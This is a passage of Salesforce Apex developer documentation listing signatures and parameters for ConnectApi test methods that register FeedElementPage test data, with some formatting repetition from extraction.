`pageParam`
- Type: String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
- Type: Integer
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`
- Type: `ConnectApi.FeedSortOrder`
- Values are:
  - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**customFilter**
Type: `String`
Custom filter that applies only to the case feed. See `customFeedFilter` in the Metadata API Developer Guide for supported values.

**result**
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: `Void`

SEE ALSO:
- `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, customFilter)`
- Testing ConnectApi Code

**setTestGetFeedElementsFromFeed**(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, result)
Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrders sortParam, Boolean showInternalOnly, ConnectApi.FeedElementPage result)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`. 
feedType
  Type: ConnectApi.FeedType
  Value must be ConnectApi.FeedType.Record.

subjectId
  Type: String
  Any record ID, including a group ID.

recentCommentCount
  Type: Integer
  The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
  Type: Integer
  Maximum number of feed elements per bundle. The default and maximum value is 10.

density
  Type: ConnectApi.FeedDensity
  Specify the amount of content in a feed.
  • AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  • FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
  If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
  Type: Boolean
  Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.
result
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)

Testing ConnectApi Code

`setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter, result)`

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
32.0

Signature

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`feedType`
Type: `ConnectApi.FeedType`
Value must be `ConnectApi.FeedType.Record`.

`subjectId`
Type: `String`
Any record ID, including a group ID.

`recentCommentCount`
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.
elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortByParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
- AllQuestions—Feed elements that are questions.
- AuthoredBy—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
• **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.

• **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.

• **SolvedQuestions**—Feed elements that are questions and that have a best answer.

• **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.

• **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.

• **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**result**

Type: `ConnectApi.FeedElementPage`

The object containing test data.

**Return Value**

Type: Void

**SEE ALSO:**

`setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter, threadedCommentsCollapsed, result)`

Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

**API Version**

44.0

**Signature**

```java
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed, ConnectApi.FeedElementPage result)
```
Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedType
  Type: ConnectApi.FeedType
  Value must be ConnectApi.FeedType.Record.

subjectId
  Type: String
  Any record ID, including a group ID.

recentCommentCount
  Type: Integer
  The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
  Type: Integer
  Maximum number of feed elements per bundle. The default and maximum value is 10.

density
  Type: ConnectApi.FeedDensity
  Specify the amount of content in a feed.
  • AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  • FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

**showInternalOnly**
Type: `Boolean`
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**filter**
Type: `ConnectApi.FeedFilter`
Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the `UserProfile` feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the `UserProfile` feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the `Record` feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the `Record` feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**threadedCommentsCollapsed**
Type: `Boolean`
Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

**result**
Type: `ConnectApi.FeedElementPage`
The object containing test data.
Return Value

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

sortParam
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

showInternalOnly
Type: `Boolean`
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

customFilter
Type: `String`
Custom filter that applies only to the case feed. See `customFeedFilter` in the Metadata API Developer Guide for supported values.

result
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter, threadedCommentsCollapsed, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching ConnectApi.getFeedElementsFromFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
44.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, String customFilter, Boolean threadedCommentsCollapsed, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

threadedCommentsCollapsed
Type: Boolean
Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

**setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)**
Register a `ConnectApi.FeedElementPage` object to be returned when the matching `getFeedElementsFromFilterFeed` method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
```java
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix, ConnectApi.FeedElementPage result)
```

Parameters
- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **subjectId**
  Type: `String`
  The ID of the context user or the alias `me`.

- **keyPrefix**
  Type: `String`
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

- **result**
  Type: `ConnectApi.FeedElementPage`
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)`
- Testing ConnectApi Code
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching getFeedElementsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static void setTestGetFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

keyPrefix
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 00S and Group objects have a prefix of 0F9.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void

setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedElementPage object to be returned when the matching getFeedElementsFromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
  Type: Integer
  Maximum number of feed elements per bundle. The default and maximum value is 10.

density
  Type: ConnectApi.FeedDensity
  Specify the amount of content in a feed.
  • AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  • FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. If you pass in null, the default value CreatedDateDesc is used.

result
  Type: ConnectApi.FeedElementPage
  The object containing test data.

Signature
public static Void setTestGetFeedElementsFromFilterFeedUpdatedSince(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: `String`
An opaque token defining the modification time stamp of the feed and the sort order.

The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

**result**
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: `Void`

SEE ALSO:

- `getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince)`
- `Testing ConnectApi Code`

**setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, result)**
Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**API Version**
31.0

**Signature**

```java
public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage result)
```

**Parameters**

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedType**
  Type: `ConnectApi.FeedType`
The type of feed. Valid values are Company, DirectMessageModeration, Home, Moderation, and PendingReview.

**recentCommentCount**
Type: `Integer`
Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

**result**
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- `getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)`
- Testing ConnectApi Code

```java
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter, result)
```
Register a `ConnectApi.FeedElementPage` object to be returned when `getFeedElementsUpdatedSince` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
32.0
**Signature**

```java
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
```

**Parameters**

- **communityId**
  
  **Type:** String
  
  Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  
  **Type:** ConnectApi.FeedType
  
  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

- **recentCommentCount**
  
  **Type:** Integer
  
  Maximum number of comments to return with each feed element. The default value is 3.

- **density**
  
  **Type:** ConnectApi.FeedDensity
  
  Specify the amount of content in a feed.

  - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  
  - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  
  **Type:** String
  
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- **pageSize**
  
  **Type:** Integer
  
  Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **updatedSince**
  
  **Type:** String
  
  An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedElementPage response body.

  The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.

- **filter**
  
  **Type:** ConnectApi.FeedFilter
  
  Specifies the feed filters.

  - **AllQuestions**—Feed elements that are questions.
  
  - **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
• CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.

• QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Read—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.

• SolvedQuestions—Feed elements that are questions and that have a best answer.

• UnansweredQuestions—Feed elements that are questions and that don’t have any answers.

• UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.

• UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.

result
  Type: ConnectApi.FeedElementPage
  The object containing test data.

Return Value
Type: Void

SEE ALSO:

Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, result)

Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage result)
Parameters

*communityId*
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

*feedType*
Type: `ConnectApi.FeedType`
One of these values:
- Files
- Groups
- News
- People
- Record

*subjectId*
Type: `String`
If `feedType` is `ConnectApi.Record`, `subjectId` can be any record ID, including a group ID. Otherwise, it must be the context user or the alias `me`.

*recentCommentCount*
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.

*density*
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

*pageParam*
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

*pageSize*
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

*updatedSince*
Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The *updatedSince* parameter doesn’t return feed elements that are created in the same second as the call.

*result*
Type: `ConnectApi.FeedElementPage`
The object containing test data.

Return Value
Type: Void

SEE ALSO:

Testing ConnectApi Code

setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly, result)
Register a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, Boolean showInternalOnly, ConnectApi.FeedElementPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
Any record ID, including a group ID.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.

• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**updatedSince**
Type: String

An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedElementPage response body.

The updatedSince parameter doesn't return feed elements that are created in the same second as the call.

**showInternalOnly**
Type: Boolean

Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**result**
